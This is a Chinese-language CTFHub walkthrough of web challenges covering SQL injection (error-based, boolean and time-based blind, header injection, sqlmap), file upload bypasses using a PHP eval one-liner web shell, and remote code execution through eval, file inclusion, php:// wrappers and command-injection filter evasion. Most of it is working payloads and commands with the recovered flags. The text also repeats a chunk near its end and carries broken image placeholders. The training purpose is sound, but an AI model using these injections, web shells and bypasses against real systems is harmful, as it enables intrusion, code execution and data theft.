CTFHub - 注入
1. 字符型注入
2. 报错注入
一、updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
由于updatexml的第二个参数需要Xpath格式的字符串,以开头的内容不是xml格式的语法,字符对应ascii码的十六进制为0x7e,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
1 union select updatexml(1,concat(0x7e, left((select(concat(flag)) from sqli.flag) ,31),0x7e),1)
二、extractvalue()函数
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
作用:从目标XML中返回包含所查询值的字符串;
与updatexml()函数相似,该函数对XPath_string进行查询操作,如果符合语法格式要求,则从目标XML中返回包含所查询值的字符串,不符合语法格式要求,则会报错并带出查询的结果
1 union select extractvalue(1,concat(0x7e,left((select flag from flag limit 0,1),31),0x7e))
三、常用函数
right(str, num):字符串从右开始截取num个字符
left(str,num):字符串从左开始截取num个字符
substr(str,N,M): 字符串从第N个字符开始,截取M个字符
3. 布尔盲注
首先猜测数据库的长度
1 and length(database()) >5
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UDeJjAOm-1634131158861)(https://i.loli.net/2021/10/13/j98P7FYsLBZwVdh.png)]
1 and length(database())=4
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rn7JLsog-1634131158864)(https://i.loli.net/2021/10/13/rEI1AFoYTSZJgaK.png)]
猜测数据库的名称
1 and ascii(substr(database(),1,1))>110
query_success
1 and ascii(substr(database(),1,1))>200
query_error
1 and ascii(substr(database(),1,1))=115
query_success
得到第一个字符为s
substr(string,start,length)
表示从start开始截取string长度为length 的字符
同理得到库名为sqli
得到数据库中表的数量
1 and (select count(table_name)from information_schema.tables where table_schema=database())=2
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oIyuZxxD-1634131158865)(https://i.loli.net/2021/10/13/JM1PjhK2qaHTUkD.png)]
得到表名
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>110
(不断改变范围,把第一张数据表的第一个字母猜解出来)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),2,1))>110
(不断改变范围,把第一张数据表的第二个字母猜解出来)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),3,1))>110
(不断改变范围,把第一张数据表的第三个字母猜解出来)
......
......
最后得到表名为news
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),1,1))>110
(不断改变范围,把第二张数据表的第一个字母猜解出来)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),2,1))>110
(不断改变范围,把第二张数据表的第二个字母猜解出来)
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),3,1))>110
(不断改变范围,把第二张数据表的第三个字母猜解出来)
......
......
最后得到表名为flag
4. 时间盲注
判断数据库名长度
1 and if(length(database())=4,sleep(3),1)
if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(X)函数,延迟X秒后回显
if(1=1,1,sleep(1))即输出一
if(1=2,1,sleep(1))即延迟一秒后回显
判断库名
1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) ascii(s)=115
1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1) ascii(q)=113
1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=108,sleep(3),1) ascii(l)=108
1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1) ascii(i)=105
......
不断调整ASCII码的范围逐渐得到数据库名称为sqli
sqli数据库中表的数量
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),1)
猜表名
1 and if (ascii(substr(database)))
5. Cookie注入、UA注入、Refer注入
抓包在相应的地方注入
#获取数据库相关信息
id=-1 union select version(),database()
#获取表名xxxxx
id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'
#获取列名yyyyy
id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='xxxxx'
获取字段
id=-1 union select yyyyy,2 from xxxxx
6. sqlmap
获取数据库名
python sqlmap.py -u "http:xxx" --dbs
获取指定库的表名
python sqlmap.py -u "http:xxx" -D database_name --table
获取指定表的字段名
python sqlmap.py -u "http:xxx" -D database_name -T table_name --columns --dump
CTFHub - 文件上传
1. 无验证
构建一句话木马,保存为muma.php文件上传,得到上传目录为/upload/muma.php
<?php eval(@$_POST['a']); ?>
蚁剑建立连接
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xcVEgPVY-1634131158869)(https://i.loli.net/2021/10/13/yDV3H9AlWFYx1Ne.png)]
得到flag:ctfhub{b8f5b8175b3b053d7534bb49}
2. 前端验证
前端发现js代码,发现只能上传图片格式的文件,于是将muma.php重命名为muma.jpg,提交并抓包
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
抓包后将muma.jpg再更改为muma.php提交。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zRf0mVAf-1634131158871)(https://i.loli.net/2021/10/13/TOvMrHR2AFBpNwP.png)]
蚁剑连接得到flag:ctfhub{c292893ee186e5e4a957011e}
3. .htaccess
.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
先写一个.htaccess文件上传
#所有的文件都当成php文件来解析
SetHandler application/x-httpd-php
在写一个木马文件muma.txt上传,接着蚁剑连接获取flag
4. MIME绕过
MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
抓包直接修改Content-Type或者文件后缀名上传。
5. 文件头检查
后台会检查文件的文件头,所以先用画图文件画一张图,图越小越干净越好,抓包植入一句话木马。
6. 00截断
00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。
上传木马图片,抓包,在修改POST …/upload/muma.php%00…
7.双写后缀
修改后缀为muma.pphphp
CTFHub - REC
1. eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
isset:用于检测变量是否已设置并且非 NULL
eval:即会执行括号中的内容,并返回结果;
$_RESQUEST:可以当做$_post也可以当做$_get使用,缺点是反应速度较慢
?cmd=system("ls /");
回显:
bin boot dev etc flag_7239 home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
?cmd=system("cat /flag_7239");
得到flag:
ctfhub{bec201174b44f5801d4c1d54}
2.文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?
#shell.txt内容
<?php eval($_REQUEST['ctfhub']);?>
在url后面添加参数: ?file=shell.txt
POST提交:ctfhub=system(‘find / -name flag’);
找到flag文件位置为*/flag*
POST提交:ctfhub=system(‘cat /flag’);
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-twpHCBij-1634131158874)(https://i.loli.net/2021/10/13/7FPYR8TUNup5G2C.png)]
3.php://input 远程包含
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
截取file变量的前六个字符需要与 php://相等,所以应该是要用到php伪协议。
- php伪协议
PHP伪协议指的是PHP所支持的协议与封装协议
https://segmentfault.com/a/1190000018991087
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2Tw9v0Jm-1634131158875)(https://i.loli.net/2021/10/13/PIV6g74pxEo2XZL.png)]
在bp发送到Repeater,在GET方法中加入*?file=php://input*
头文件加入<?php system(“ls /”)?>找到flag文件的位置
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IHPm8OHv-1634131158876)(https://i.loli.net/2021/10/13/aCDpwolOMsv4i3Y.png)]
<?php system("cat /flag_15940")?>得到flag[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-toorcRKB-1634131158876)(https://i.loli.net/2021/10/13/QxhcG1Dm8NsIOg2.png)]
ctfhub{b39b8563f396ad6923c39b48}
4.读取源代码
php://filter
条件
-
allow_url_fopen:off/on
-
allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
php://filter 参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
payload:
?file=php://filter/resource=/flag
5.命令注入
分隔符可以使用%0a代替
/?ip=127.0.0.1%0als => 127.0.0.1;ls
(space) => ${IFS}
对于文件夹的内容,使用$(printf "路径")代替路径
cat => ca''t / ca""t
使用16进制字符串访问文件
|
| read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。 |
| write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。 |
| <; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
payload:
?file=php://filter/resource=/flag
5.命令注入
分隔符可以使用%0a代替
/?ip=127.0.0.1%0als => 127.0.0.1;ls
(space) => ${IFS}
对于文件夹的内容,使用$(printf "路径")代替路径
cat => ca''t / ca""t
使用16进制字符串访问文件